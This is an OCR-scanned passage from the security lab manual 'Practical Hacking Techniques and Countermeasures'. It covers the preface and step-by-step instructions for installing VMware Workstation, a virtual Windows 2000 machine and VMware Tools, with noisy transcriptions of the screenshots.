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Preface

The entire purpose of Practical Hacking Techniques and Countermeasures
is to give readers the opportunity to actually put their hands on the tools and
techniques commonly used by today’s hackers and to actually learn how they
work. Up to this point, most security-related books have dealt mainly with
the theory and lecture of tools and techniques, but I wanted to provide more.
With the use of virtual computers the reader can concentrate on the tools
instead of the question of legality.

As a former college department chair I saw firsthand how students
responded to hands-on security versus lecture only. By providing my students
with a series of labs structured around security, hacking techniques, and
countermeasures the students gained an invaluable insight as to how to secure
today’s computers and associated networks. This is evident by these students
being placed at the Pentagon, in our armed forces, as government contractors,
and even independent security consultants. I truly believe that when a security
professional understands the actual techniques, he or she can provide a better
service to the public.

Fifteen years ago the standard for security was “security by obscurity,” in
other words, “You don’t know I have a network therefore I'm safe.” With the
advent of the Internet this quickly changed. However, even today there are
those who when questioned about their security practices respond with “Hey,
we're not a bank” or “I don’t have anything worth stealing.” These people are
only delaying the inevitable reality that eventually someone of ill-repute will
find their computers or even their networks and take full advantage of them
if they haven'’t already.

Practical Hacking Techniques and Countermeasures is designed as a lab
manual. T want every reader to be able to duplicate each lab in this book,
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vi B Preface

which is why T insisted that the inclusion of the CD containing the exact same
versions of the tools be used to create this book. This is the first book in a
series of books designed to educate security professionals or anyone with an
interest in how hacking techniques are conducted, and what countermeasures
are available. Hundreds of screenshots are included, which duplicate each
lab and are easy to follow.

It was also important for me to create Practical Hacking Techniques and
Countermeasures from the ground-up perspective. As you progress through
the book the techniques and tools become progressively more advanced and
follow the standard methodology of how an attacker would approach your
own network or computer. I also designed Practical Hacking Techniques and
Countermeasures to use the exact same tools used by today’s hacker. This is
by no means a conclusive list because tools are added or become obsolete
all the time, however, I have provided an excellent foundation for every reader
to practice his or her security skills and the reality is most tools used by hackers
are either open source (free), custom written (programmer), stolen (warez),
or a combination of all three. The accompanying CD provides 95 percent free
tools and demo or trial versions of commercially available security software.

I have also developed a Web site for Practical Hacking Techniques and
Countermeasures to support my readers, as well as inform them of upcoming
books, special offers, my schedule of security seminar locations, HackSym, and
a members section that provides tools, advanced portions of the next book in
production, forums to assist in any lab questions, a live chat area where T will
schedule and make appearances, and much more. The Web site is located at
http://www.virtuallyhacking.com.

I sincerely hope you enjoy reading Practical Hacking Techniques and Coun-
termeasures as much as I enjoyed writing it. Beginners will find it intriguing
while veteran security professionals will find it to be an excellent reference tool.
There is something for everyone.

Enjoy Practical Hacking Techniques and Countermeasures.

Mark D. Spivey, CISSP
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Installing VMware Workstation

The VMware® Workstation application started in 1998 and has since then
become the global leader in virtual infrastructure software for industry stan-
dard systems. VMware offers both Microsoft Windows and Linux versions. For
the purposes of this book the Windows version is used, although either type
would suffice.

Think of VMware software as a container that holds a separate (virtual)
computer from the one it is installed on (the host). As far as your host computer
is concerned, each virtual computer is a separate computer entirely and is
treated as such.

VMware software also comes in other flavors, including GSX Server and
ESX Server. The noticeable difference is that the GSX Server runs as an
application on a host server and the ESX Server is its own operating system.

VMware also offers another product called VMware P2V Assistant, which
creates an image of a current physical computer and creates a virtual computer
from that image. This can be very handy for testing purposes.

A 30-day demonstration version is available from its Web site at
http://www.vmware.com/download/ws. If you download the demo ver-
sion, you will also need to request a temporary license key and then register
the product once it is installed. The latest version at the time of this writing
is 5.0.0.13124 (although Workstation 5.5 is out). The demo version is included
on the accompanying CD.

To install VMware Workstation, follow these steps:

1. Double-click on the VMware-Workstation-5.0.0-13124.exe file to
start the installation process.

-I'r
L9
o

Wiware-warkstation-5.0
0-13124, exe
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2. You will see the initial installation screen.

Windows Installer Installation

% Preparinig “tware "Workstation' for ingtallation. ..

ANEENENENEERENENEERNEREREER Cancel

3. The Installation Wizard appears. Click Next.

i VMware Workstation
Welcome to the installation wizard for

Yilware Workstation

The installation wizard will install YMware Workstation on wour
computer, To continue, click Mext,

WARMNING: This program is protected by coperight law and
international treaties,

% Back Cancel
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4. Accept the License Agreement. Click Next.

i VMware Workstation E|
License Agreemenk
Please read the following license agreement carefully.
END USER LICENSE AGREEMENT 25

FOR VMWARE® DESKTOP SOFTWARE PRODUCT

VIMWARE, INC. LICENSES THIS DESKTOP SOFTWARE PRODUCT
TO YOU SUBJECT TO THE TERMSE CONTAINED [N THIE EMD

USER LICENSE AGREEMENT (“EULA™). READ THE TERMS OF

THIS EULA CAREFULLY. BY INSTALLING, COPYING OR
OTHERWISE USING THE SOFTWARE (A% DEFINED BELOW), YOU
AGREE TO BE BOUND BY THE TERMS OF THIS EULA. [F YOU bl

@+ ¥as, T accept the terms in the license agreement:

" Mo, I do not accept the terms in the license agreement

% Back | Mexdr | Cancel
)

5. Accept the default installation directory. Click on Next.

X

& YMware Workstation

Destination Folder

Click Mext to install to this Folder, or click Change to install ko a different Folder,

G Inskall WMware Workstation to:
C:\Program FilesiyMwarelyMware Workstation!, Change...

Cancel
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6. Accept the shortcuts offered. Click Next.

i'-.ijﬂ VMware Workstation

Configure Shortcuts

Creates program shortcuts

Create shortcuts For YMware Waorkstation in the Following places:

¥ Desktop
[ Start Menu Programs Falder

" Quick Launch toolbar

Installshield

< Back Cancel

7. Accept the Yes disable CD autorun. Click Next.

i Wiware Workstation

Configure Produck

Configure miscellaneous prod

‘four machine currently has CO-ROM autorun enabled. Autorun can have unexpected
interactions with virtual machines,

Do wou weank o disable autorun now?

v ‘Yes disable autorun
Mote: IF wou select Yes, autorun will not be disabled until vou reboot this machine.

InstallShisld

< Back Cancel
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8. VMware Workstation is ready to install. Click Install.

i'-.% VYiMware Workstation

Ready to Install the Proi
The wizard is ready to begi

Click Install ko begin the installation,

IF wou want ko review or change any of your installation settings, click Back, Click Cancel ko
exit the wizard,

Instalishield

Cancel |

< Back

9. The installation begins.

i'-.% VYiMware Workstation

Installing ¥Mware Workstation

Please wait while the installation wizard installs VMware Workstation, This
may take several minutes.

Status:

Instalishield

< Back Mext = O Cancel
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The installation continues. Please be patient.

i VMware Workstation

Installing ¥Mware Worksta

Please wait while the installation wizard installs WMware Workstation. This
may kake several minutes,

Skatus:

Copying new files

InstalShield

T e T

10. Once the installation has completed, you are asked to enter your User
Name, Company, and Serial Number. If you downloaded the demo
version from VMware.com you will need to request that a serial number
be e-mailed to you. Click Enter. (You can enter this information later
but now is the best time.)

i Viware Workstation

Registration Information

{optional) ¥ou can enter this

User Mame:

I'v'irtually Hacking

Company:

IHacking the Yirtual Camputer

Setial Murber: (-2 K- )
IXXXXX-XXXXX-XXXXX-XXXXX

Installshield

= Back | gnter[:é | skip = |
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11. The installation is now completed. Click Finish.

i VMware Workstation

Installation Wizard Completed

The installation wizard has successfully installed YMware
warkstation, Click Finish to exit the wizard,

< Back Cancel |

12. You will now have a VMware Workstation icon on your desktop.
Double-click the icon to start VMware Workstation.
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13. The VMware Workstation application starts. If you did not enter your
serial number information during step 10, you will be asked to do so now.
This figure shows the VMware Workstation application as it begins.

&7 VMware Workstation EJEIE‘

File Edit wiew %M Team ‘Windows Help
mnpre @GE o8 |2a

Favarites * | Home

VMware Workstation

YMware Workstation allows multiple standsrd operating systems and their applications to
run with high performance in secure and transportable virtual machines. Each virtual
machine is equivalent to a PC with 3 unique netwark address and full complement of
hardware cheices.

sl
e
Click this button ko create a nes virkual maching, You then can install
and run a variety of standard operating systems in the wirtual machine.
Mew Yirtual
Machine

ale
w0 Click this buuttan to create a new team. You then can add several wirtual
[m} machines and connect them with private baam LAN segments,

Mew Team

—u Click this button to browse For virtual machines or teams and ko select
i one to display in this panel, You then can inkerack with the guesk
& operating system within this display as you would a standard PC,

Open Existing
WM or Team

Now that you have VMware Workstation correctly installed, you can pro-
ceed to the next section, “Configuring Virtual Machines.”

Configuring Virtual Machines

VMware Workstation is the application that hosts virtual computers. This
section will cover the correct installation of a virtual Microsoft Windows 2000
Workstation and Red Hat Linux computers as they are the two operating
systems used throughout this book. If you have previously installed either of
these operating systems, there is no difference in the process other than you
will need to install the VMware Tool covered in each section.

Please remember that it is your responsibility to license any operating
system you are using. Microsoft Windows is not free and does not have a
demonstration version; therefore, you must have a valid license to install
Windows even in a virtual environment. Linux is normally free for downloading
and at the time of this writing is freely available at http://www.linuxiso.org.

*Note: Remember that all of Linux is case sensitive.
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Installing a Virtual Windows 2000 Workstation

Follow these steps:

1. From the VMware Workstation start screen, click New Virtual Machine.

(]
%

Mesw Wirtoal
Machine

2. This will start the New Virtual Machine Wizard. Click Next.

MNew ¥irtual Machine Wizard x|

Welcome to the New
Virtual Machine Wizard

Thig wizard will guide you through the steps of
creating a new wirtual machine,

< Bark

Cancel |
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3. Accept the Typical configuration for the virtual machine. Click Next.

New ¥irtual Machine Wizard x|

Select the Appropriate Configuration
How would wou prefer to configure vour new virtual machine?

—Yirtual machine configuration

reate :a new vittual machine with the most common devices and configuration
optionz, Thiz vitual machine will not be compatible with Wkware ESx Server
2., G5% Server 3w, ACE 1. or'Workestation 4.x.

" Custom
Chooge this option if pou need to create a virtual machine with additional
devices or specific configuration options, or if you need to create a legacy virtual
machine,

< Back I Mext = I Cancel |

4. Accept the default of Microsoft Windows and select Windows 2000
Professional from the list of available operating systems. Click Next.

New ¥irtual Machine Wizard x|

Select a Guest Operating System
Which operating spstem will be installed on this virtual machine?

Guest operating system:

& Microsoft Windows
™ Linux

 Movell Metw are
" Sun Solaris
 Other

Wersion;

< Back I Mest > I Cancel
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5. Accept the default Virtual machine name and location. Click Next.

Mew Yirtual Machine Wizard x|

Mame the ¥irtual Machine
YWhat narme waould you like to ugze for thiz virtual maching?

Yirtual maching name
i, Z Praf

r~ Location

C:\Documents and Settings\mapiveyiMy Documentsihp Virtual Browse. .. |

< Back I Mexst > I Cancel |

6. Accept the default network type of Use bridged networking. Click Next.

*Note: This is one of the options that makes VMware Workstation interesting in that
you control if your virtual computer gets its own IP address on the network
(bridged), must share the host IP address (NAT), will establish a network
between the host and virtual computer only (host-only), or not have a net-
work connection at all. A maximum of three virtual network cards can be
installed on each virtual computer with independent settings for each.

Mew ¥irtual Machine Wizard x|

Metwork Type
YWhat type of network do you want to add?

- Metwark, connection

= (e bridged networking
ive the guest operating system direct access to an external Ethermet netwark.
The guest must have itz own 1P address on the external netwaork.

™ Use network, address translation [MAT)

Give the guest operating system access to the host computer's dial-up or
external Ethernet network. connection uzsing the host's [P address.

" Use host-only netwarking
Connect the guest operating spstem to a private wirtual network on the host
computer.

" Do not uze a netwaork connection

¢ Back I Mest > I Cancel
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7. Accept the default virtual Disk size (capacity) of 4.0 (GB). Click Finish.

New Yirtual Machine Wizard |

Specify Dizk Capacity
How large do you want thiz disk to be?

 Dizk capacity
Thig wirtual disk can newer be larger than the masimunn capacity that pou set here,

Diigk zize [GE]: I =

[ Allozate all dizk space now.

By allocating the full capacity of the wirtual dizk, you enhance performance of
your wirtual machine, However, the disk will kake longer to create and there
st be enough space on the host's phosical digk,

If pou do ot allozate disk zpace now, your virkual disk files will start zmall, then
become larger az you add applications, files, and data to your virtual machine.

[ Split disk inta 2 GE files

< Back I Firizh I Cancel |

8. The VMware Workstation application now has a tab called Windows 2000
Professional.

57 windows 2000 Professional YMwareWorkstation =1l
Fle Edit View WM Team ‘Windows Help
N PEe Bl oE DB

() Windows 2000 Professional

Windows 2000 Professional

State: Fowered off

Guest 0S: indaws 2000 Professional

Configuration file: C:\Documents and Settingsimspivey My Documents|y Virtual Machinesitindaws 2000 Prof v

version: Current virtual machine for YWMware Workstation 5.0,0

Commands Devices

B> start this virtual machine Memory 256 1B

b Edt virtual machine settings 3 Hard Disk (SCSI 0:0)

B Clone this virtual machine Eucorom (e 1) e
Eethernet Bridged
© sk contraler Prasent
@ audia Default adapter

Notes

Type here to enter notes for this vittual machine
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9. Click Edit virtual machine settings.

[ start this wirtual maching
ﬂﬁ Edit wirtual machine settings

'@ Clane this virkual machine

This is the area where you can make any adjustments you need, such
as increasing the amount of physical RAM on the host computer you
want dedicated to the virtual machine, changing the hard disk size, or
adding other hardware items. Once a virtual computer is running it
must be shut down to change most of these settings, with the excep-
tions of disconnecting the CD-ROM or floppy drive during operation.

10. Once you have made any adjustments, click OK.

et actine setngs =S x
Device | summar | - Memory
Memory 256 ME Spail_fy th_lghamount aof memary ?\Located Itlo tlhls [\r’gtrdaal
SIHard Disk (SCSI U:U) machine. B memory si2e must be a mulbple ol
%CD'ROM (IDE 1:0) Auto detect Mermary for this virual machine:
EBEthernet EBridged —
— l— I ZE= MB
@USB Controller Present —
i) audin Default adapter IR & 1742
A Guest 05 recommended minimum: GAMEB
& Recommended memary: 256ME
4 taximum recommended memony: TIEME

[Memary swapping may occur beyond this size]

Add... Bemave |

ak I Cancel | Help |

11. Insert the Microsoft Windows 2000 Workstation CD into the CD-ROM
drive. Click Start this virtual machine or click the Play button on
the toolbar.

B start this virtual machine
Hf_‘l Edit virtual machine settings
{81 Clone this virtual machine @were
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12. The virtual computer boot screen appears.

Windows 2000 Professional - ¥Mware Workstation _ Ol x|

‘Fi\e Edit  Wiew VM Team ‘Windows Help
R EEEEE:E

| &}W’lmlows 2000 Professional

Startivg |
P

a Le up for Network Boot, E for Boot Menu

&Vnu do nok have ¥Mware Tools installed. g E E @ v

13. The virtual computer will boot from the CD.

B Windows 2000 Professional - ¥Mware Workstation

‘FI|E Edit WView YM Team ‘windows Help

Windows 2888 Setup

Setup is loading files (ACPI Plug & Play Bus Driver)...
A\ ¥ou do ot have YMware Tools installed. Bosw
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14. At the Welcome to Setup screen press the Enter key.

Bl Windows 2000 Professional - ¥Mware Workstation

|File Edit  ¥iew ¥M  Team ‘Windows Help

Uelcome to Setup.
This portion of the Setup program prepares Microsoft(R>
Windows 28BB<{THM> to run on your computer.

« To set up Windows 2008 now, press ENTER.

= To repair a Windows 2888 installation. press R.

= To quit Setup without installing Windows 288d. press F3.

ENTER=Continue R=Repair F3=Guit

& You da nat have YMware Tools installed.

E=mW -

Remember that as far as your host computer is concerned your virtual
computer is completely separate from the host machine. The next screen
you will see is a warning that you have a new or erased hard drive you
are trying to install Windows on and it is a new virtual hard drive.

15.  Accept the notice and press the C (Continue Setup) key.

Bl Windows 2000 Professional - YMware Workstation

‘F||e Edit View VM Team ‘Wwindows Help

Windows 2888 Profe onal Setup

ed that your computes’
. or that your computer
ompatible with Windou 2008 .

Setup has dete
o

If the hard disk i
its current contents, you can choose to continue Setup.
If your computer running an operating system that i
operating system.

= To continue Setup, press C.

CAUTION: Any data currently on your computer’s startup hard disk

will be lost.

To guit Setup, press F3.

C=Continue Setup F3=Quit

artup hard disk is new
running an operating

new or has heen erased, or if you want to discard

incompatible
with Windows 2888, continuing Setup may damage or destroy the existing

/A ¥ou da not have WHware Tools installsd.

Bemwy .
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16. After reading the License Agreement and accepting its terms, press the
F8 (I agree) key.

V'_E;ﬂ Windows 2000 Professional - ¥Mware Workstation .

‘F\\e Edit  Wiew WM Team ‘Windows Help

ndows 28088 Licensing Agreement

HICROSOFT WINDOWS 26888 PROFESSIOHNHAL
END-USER LICENSE AGREEMENT FOR MICROSOFT
DESKTOP

OPERATING S8YSTEMS

IMPORTANT-READ CAREFULLY: This End-User

License Agreement ("EULA"> iz a legal agreement hetween

you (either an individual or a single entity> and the
manufacturer {"Manufacturer of the computer computer
system component C HARDWY > with w c d the
Microsoft software p i ifi OFTWARE
PRODUCT" op "SOFTURRE‘ lf the SOFTWARE

PRODUCT is not accompanie new HARDWARE, you may not use

or copy the SOFTUHRE PRODUCT The SOFIWARE

PRODUCT includes computer softl-lm-e, the associated media. any
prlnted lnal:el-lals, and any "online™ or elsctwonic documentation.
This 1lid and grants the end-user license rights ONLY if
the SOFTUHRE PRODHCT is genuine and a genuine Certificate of
Authenticity for the PRODUCT SOFTWARE is provided th the
SOFTUARE PRODUCT. Any software provided along with the

SOFTUARE PRODUCT that is associated with a separate end-user
icense agreement is lice d to you under the terms of that
license agxeement. 'luu agxee to be bound by the terms of this
EULFI by insta ying. downloading, accessing or other
using the SOFTURRE PRODUCT. If you do not agree, Manufacturer

F8=1 agree ESC=I do not agree FAGE DOWN-Next Page

A\ You da ot have Wware Tools installed. =@

17. Accept the default partition sizes for the hard drive. Press Enter.

Windows 2000 Professional - ¥Mware Workstation

File Edit Wiew Y¥M  Team Wwindows Help

nfe @ @

@W’lmlows 2000 Professional

Windo 2888 Professional Setup
The following list shows the existing partitions and
unpartitioned space on this computer.
Use the UP and DOWN ARROW keys to select an item in the list.
= To set up Window 20888 on the selected item. press ENTER.
= To create a partition in the unpartitioned space, press C.

= To delete the selected partition. press D.

4895 MB Disk 8 at Id @ on bus on buslogic
Unpartitioned space 4095 MB

ENTER=Install C=Create Partition F3=Quit

A ou o not have WHware Tools installed. Comw
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18. Accept the default of formatting the hard drive with the NTFS
system. Press Enter.

Windows 2000 Professional - YMware Workstation (] 3]

‘F\Ie Edit  View WM Team windows Help
nre|gedoa|aE

ﬁ}w lows 2000 Professional

2008 Profe onal Setup

A new partition for Windows 2808 has been created on

4895 MB Disk B at Id on bus B on buslogic.

This partition must now he formatted.

From the list below, select a file stem for the new partition
Use the UP and DOWN ARROW keys to select the file system you want,
and then press ENTER.

If you want to select a different paprtition for Windows 2008,
press ESC.

[Fornat the P . the NTFS file sustem
Format the partition using the FAT file systen

ENTER=Continue ESC=Cancel
A You do nat have YMware Tools installed. Eam -

19. You will see the progress of the formatting process.

‘Windows 2000 Profession. ¥Mware Workstation

File Edit ‘iew WM Team ‘Windows Help

Please wait while Setup Formats the partition
G: Heuw <Unformatted)> 4887 MB
on 4895 MB Disk @ at Id B on bus B on buslogic.

Setup is fowmatting...

A\ fou do not hiave YMiware Tools installed, EEmo -

file
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20. The Windows files will now install on the virtual hard drive.

5] Windows 2000 Professional - ¥Mware Workstation -|of x|

‘F\\e Edit  Wiew WM Team ‘Windows Help

Windows 2808 Profe onal Setup

Please wait while Setup copies files to the Windows 2088
installation folders.
This may take several minutes to complete.

Setup is copying files...
13

o ]

Copying: driver.cah

A\ You do not have YMware Tools installed. cEEmw -

21. Once completed, the virtual computer will automatically reboot itself.

Windows 2000 Professional - YMware Workstation

‘F\\E Edt Wiew WM Team Windows Help

Windows 28088 Profe

portion of Setup h completed successfully.
If there is a floppy di in drive Az, remove it.

To restart your computer, press ENTER.
When your computer restarts, Setup will continue.

Your computer will reboot in % seconds....

ENTER-Restart Gomputer
A\ You do not have YMware Tools installed. Bl -
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22. The new Windows 2000 virtual computer will now boot up.

Bl Windows 2000 Professional - ¥Mware Workstation
File Edit  WView %M Team Windows Help
e & @

=101 x|

Starting up... ENTEENEEE
Copyright © 1965-1999 Microsoft Corporation
&VDU do not have ¥Mware Tools installed,

Professional

Built on NT Technology

Windows 2000 Professional - YMware Workstation
File Edit  Wiew

and it will automatically continue on its own.

I Team ‘Windows
mie &

@& ) =]
@Win(lows 2000 Professional

Help

Somw
23. The installation process will continue. You can click Next or just wait

lows 2000 Professional Setup
Installing Devices
Setup iz detecting and installing devices on your computer,
=)

for a few seconds.

Please wait while Setup detects and install: devices such as your keyboard and
mouse. This will kake several minutes. During this ime, your screen may ficker

I
I

A\ vou do not have YMware Tools installed.

Gemw
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24. Accept the default US keyboard layout or change to your preference.
Click Next.

dows 2000 Professional - ¥Mware Workstation
Fi E Wiew WM Team dows  Help
mnheoalBEalm

Windows 2000 Professional Setup []

Regional Settings
Y'ou can custamize Windows 2000 for different regions and languages. i

appear,

@ The system locale and user locales control how numbers, currencies, and dates

The system locale is set to English (United States), and the user locale is setto
English [United States] for all users on the compuiter.

To change system or user locale settings, click Custamize Customize... |

The keyboard layout contrals the characters that appear when pou type.

Each user will use the US keyboard layout.

Ta change the keyboard layout, click Customize. Customize... |

&Vnu do not have YMware Tools installed. E E W v

25. Enter your Name and Organization (if any). Click Next.

File Edit Wiew %YM Team Windows Help

T —
mnjye gapReE 2@

@\Mn(lnws 2000 Professional

Windows 2000 Professional Setup

Personalize Your Software

Setup uses the infarmalion you provide about yoursell to personalize pour Windows
2000 software.

@ Type your full name and the name of your company o organization.

Name: IVutuaIIy Hacking

DOrganization: IHacking the Wirtual Computer

&\'ou do not have YMware Tools installed. E E W A
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26. Enter the serial number for your copy of Microsoft Windows. Click Next.

dows 2000 Professional - ¥Mware Workstation
Fi Es Wiew  ¥M  Team dows  Help
IR EEE -

Windows 2000 Professional Setup

Your Product Key
our Product Key uniquely identifies your copy of Windows 2000, Q

The 25-character Product Key appears on the lower section
of your Certificate of Authenticity.

Type the Product Key belaw:

ey I
{0 O
et vdvyrrysy

Product Key.

&\'ou do not have YMware Tools installed, E E E W 4

27. Assign a Computer name to your virtual computer and type an Admin-
istrator password. Click Next.

dows 2000 Professional - ¥Mware Workstation

File Edit Yiew YM Team ‘Windows Help

mnrelgahBE O

@\!\ﬁn(lnws 2000 Professional

Windows 2000 Professional Setup [=]

Ci MName and Admini: P. d
You must provide a name and an Administrator password for your computer,

Setup has suggested a name for pour computer. [ your computer is on &
nietwork., pour netwaork, adrministratar can tell pou what name to use.

Computer name: WIN-2000--1

Setup creates a user account called Administrator. You uze this account when
you need full access ko pour computer.

Type an Administrator password

Administrator password:

Confirm password:

&\r’ou do not have YMware Tools installed. E E E W S
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28. Set your Date & Time, Time Zone, and whether you use daylight savings
time. Click Next.

Edit Wiew %M Team ‘Windows Help

Windows 2000 Professional Setup

Date and Time Settings
Set the correct date and time For pour Windows computer.

i~ Date & Tims

| Friday , Dctober 28, 2005 j IH:AS:DEIAM =

~ Time Zorm

¥ Automatically adjust clock for daylight saving changes

o [T |

&VDU do not have ¥Mware Tools installed,

Gomw 4

29. The networking components will now install.

Bl Windows 2000 Professional - ¥Mware Workstation 1 =10

|Fi\e Edit Wiew %M Team ‘Windows Help

Networking Settings
Installing network software allows you to connect to other computers, networks,
and the Internet.

1 Please wait while Windows installs netwarking components.
B2

I

&Vou dao not have Wware Tools installed, g ) v
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30. Unless you are familiar with configuring network cards, accept the
default of Typical settings and click Next.

Windows 2000 Professional - ¥Mware Workst

File Edit WView %M Team Windows Help

MR EETEIEE =

@Mn(lows 2000 Professional

Windows 2000 Professional Setup

Networking Settings

Inztalling network software allows you to connect to other computers, netwarks,
and the Internet

1 Chaoose whether to use typical or custom settings:
Lk

Creates network. connections using the Client for Microsoft Metworks, File
and Print Sharing for Microzoft Netwarks, and the TCP/IP transport
pratocol with automatic addressing.

" Custom settings
Allovis you to manually configure networking components.

&VDU do not have ¥Mware Tools installed,

Gomw 4

31. Accept the default answer of No for domain membership and click Next.

&l Windows 2000 Professional - ¥Mware Workst. =[Ol x|

File Edit View ¥M Team Windows Help

‘Workgroup or Computer Domain

A workgroup is a collection of computers that have the same workgroup name. &
domain is a collection of computers defined by a network. administrator.

Do you want this computer ta be a member of a domain?
[ou may need to obtain this infarmation from vaur netwark. administrator. ]

& Ho, this computer s not oh a network, of is on a network without & domaie,
Type a workgroup name in the following box.

" Yes, make this computer & member of the following domain:

Workgroup or computer domain:
[WORKGROUP

&Vou dao not have Wware Tools installed, g E E @ v
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32. Windows components will continue to install.

ows 2000 Professional - ¥Mware Workstation

File Edit View ¥M Team ‘Windows Help
mip & i) | =

i Home @Win(lnws 2000 Professional

Windows 2000 Professional Setup [ -]

Installing Components Ea
Setup is instaling Windows 2000 companents. Q

Please wait while Setup installs the compaonents. This may take several
mhifLtes

Status:  Copying files.

-

&Vou dao not have Wware Tools installed, E E W ¥

33. The Final Tasks of the installation will occur.

indows 2000 Professional - ¥Mware Worlkstation

File Edit WView %M Team Windows Help

njreBahlBE nn

() s ] (7 Windows 2000 Professional

lows 2000 Professional Setup

Performing Final Tasks i

Setup must complete a final set of tasks.

Please wait while Setup:

= Installs Start menu items
Registers components
Saves settings

Removes any temporary flles used

&Vou do not have YMware Tools installed, - HEW A
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34, Windows 2000 is now installed. Remove the CD and click Finish.

File Edit View ¥M Team ‘Windows Help

=)l

Windows 2000 Professional Setup [ -]

Completing the Windows 2000
Setup Wizard

‘Y'ou have successfully completed Windows 2000 Setup.

IF there iz & CD in your drive, remove it. Then, to restart
your computer, click Finish,

&VDU do not have YMware Tools installed, E E E W A

35. Upon reboot you will need to complete the Network Identification
Wizard. Click Next.

File Edit WView %M Team Windows Help

BE O

Network Iden on Wizard

Users of This Computer
wha can log on to this computer?

Wou can require all users to enter a user name and password ko log on, or you can
have Windows assume the same user will always log on tao this computer,

Which option do you prefer?

¥ Isers must enter a user name and passward to use this computer.

" Windows always assumes the Following user has logged on ko this computer:

WserEmes IVirtuaIIy Hacking j

Bassynrds I

Gonfitnm password: I

&VDU do not have ¥Mware Tools installed, E E E W ¥
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36. The next screen requires you to make a decision as to whether you want
the same user automatically logging into Windows all the time or if you
require each user to enter a username and password to log in. As I am
security conscious, I always choose the latter. Congratulations, you have
successfully installed a virtual Windows 2000 Workstation! Click Finish.

B} Windows 2000 Professional - ¥Mware Workstation =1ol x|

File Edit Wiew %M Team ‘Windows Help

MR ERE == =]

@W’lll(lows 2000 Professional

MNetwork Identification Wizard

Completing the Network
Identification Wizard

¥ou have successfully completed the Metwork Identification
wizard,

Ta tlose this wizard, click Finish,

e Cancel

A\ You cia nok have VWware Tools nstalled. Comw

37. You are now presented with the Windows login screen. Type in your
password from Step 27 and click OK.

dows 2000 Professional - ¥Mware Workstation
File Edit View %M Team ‘Windows Help
e & 2 ==

A Home @Win(lowsZUIII]meessional

Log On to Windows

Built on NT Technology

User name: | Administrator

Password: | FRRRE

[+]4 I Garnice] Options ==

£\ ¥ou do not have Viwars Tools installed. Cemv
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38. The first time Windows 2000 loads you are presented with a “Getting
Started with Windows” presentation. If you are unfamiliar with Windows
2000 you may wish to view the presentation. Otherwise, just uncheck
Show this screen at startup and then click Exit.

BN windows 2000 Professional - YMware YWorkstation

File Edit Wiew %M Team ‘Windows Help

ECTECTTEITIII
NMEREIEEEIEE-LE

A Home @Will(lows 2000 Professional ®

Getting Started

Use Control Panel to cuskomize your desktop and
configure your computer.

I Show this screen at startup,

Bstart|| | 7 & < H ® Getting Started with ... B tzeeem
&You do not hiave Whware Tools installed, E E EW 4

Installing VMware Tools for Windows 2000 Virtual Machines

Even though your virtual Windows 2000 Workstation is running, it is best to
install the VMware Tools on each virtual machine you install. VMware Tools
allows for better screen resolution, mouse control, drag-and-drop operations,
improved network performance, shared folders support, and copying and
pasting between the host and virtual machine.

*Note: Initially once you are logged into your virtual machine you will find that
your mouse is locked into the virtual machine and you cannot get out to
the host computer. To switch back to the host computer hold down the
Ctrl key and press the Alt key. Then by clicking back into the virtual
machine screen; the mouse again becomes active in the virtual machine.

*Note: You do not use a physical CD when installing VMware Tools. The VMware
software contains an ISO image that the guest machine interprets as a
physical CD.



30 ® Practical Hacking Techniques and Countermeasures

To install VMware Tools, follow these steps:
1. Return to the host machine by holding down the Ctrl key and press

the Alt key. Then from the VMware Workstation menu click VM and
then select Install VMware Tools.

Y Team  “Windows  Help

Power 3
Removable Devices 4
Snapshok k

Install re T

Lpgrade Yirtual Mackine

Send Chrl+alk+Del
Grab Input Ckrl+i3

Capture Screen. ..
Capture Movie, .,

Clore, ..
Delete From Disk

Settings. .. CkrH-D

2. The VMware Tools installation screen appears. Click Install.

windows 2000 Professional - ¥irtual Machine x|

Installing the Vtdware Toolz package will greatly enhance graphics and mouse
performance in your vitual machine.
WARMIMNG: You cannat install the Yidware Tools package until the guest operating
system iz running. |f pour guest operating system is nok running, choose Cancel and install
the Yiware Tools package later.

Cancel
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3. The VMware Tools installation begins.

ndows 2000 Professional - ¥Mware Workstation

File Edit Wiew %M Team ‘Windows Help

mNjre|leR BB @

@\Mndnws 2000 Professional

Wiuware Tools Setup is preparing the InstallShield Wizard, which
Copyright © 1998- will guide wou through the program setup process. Please wait.
of 1.5 Patent Nos. %
6,735,601, 67858
Checking Operating System Yersion

ighistart| ‘ | & H [tnstalishield Wizard
&Vou do nok have WMware Tools installed, E E E IT 4

4. The VMware Tools Wizard starts. Click Next.

ndows 2000 Professional - ¥Mware Workstation

File Edit W¥iew %M Team ‘Windows Help
|m n[p ® @ e R

¥Mwate Tools

welcome to the installation wizard for
Vilware Tools

The installation wizard will install ¥Mware Tools on your
computer. Ta continue, click Mext.

WARNING: This program is protected by copyright law and
international treaties.

Cancel

hstart| | () @ =3 || [5lvmuware Tools dF umaem
&VUU do not have WMware Tools installed. E E E W 4
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5. Accept the Typical VMware Tools Setup Type. Click Next.

indows 2000 Professional - ¥Mware Workstation

Fi Edit  Wiew MM Team ndows  Help
murejloabBED

UMERE 15 yMware Tools

=l

Flease select a setup kype.

Installs the program Features used by this ¥Mware product only, Select
this option if you intend to run this virtual maching only with this Wware
product,

" Complete

Installs all program Features. Select this option if you intend to run
this wirtual machine on multiple YMware products.

' Custom

Lets you choose which program Features ta install and where to
install them. Only advanced users should select this option.

< Back I Mext = I Cancel

EQStart”J ] & =2 H I‘_‘EVMware Toals F o novem
&Vnu do nok have WMware Tools installed. E E ﬁ W v

6. VMware Tools is now ready to install. Click Install.

Mware Workstation

File Edit Yiew MM Team ‘Windows Help

A A — .02
nre Bl BE D

Click Install ko begin the installation.

IF vou want to review or change any of your installation settings, click Back, Click Cancel to
exit the wizard,

Cancel

iaStﬂrtHJ o] & =3 H If&VMware Tools JF 1o9pm
&Vou do nok have WMware Tools installed, E E E @ A
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7. VMware Tools now installs on the virtual machine. The screen may flicker.

dows 2000 Professional - ¥Mware Workst.

File Edt ‘View YM Team ‘Windows

i

=l

Flease wait while the installation wizard installs YMware Tools, This may take
several minutes,

Status:

Generating scripk operations for action:

HEXb AN | T Cancel I

hstart| | () @ =3 || [[5lvmuware Tools 109 PM
&Vnu do nok have WMware Tools installed. E = ﬁ W v

8. The VMware Tools will finish installation. Click Finish.

dows 2000 Professional - ¥™ware Workst.

Edit  Wiew ¥M  Team ‘Windows Help
NEEEEREIEESE

X

Installation Wizard Completed

The installation wizard has successfully installed ¥Mware Tools,
Click Finish to exit the wizard,

Eemw s
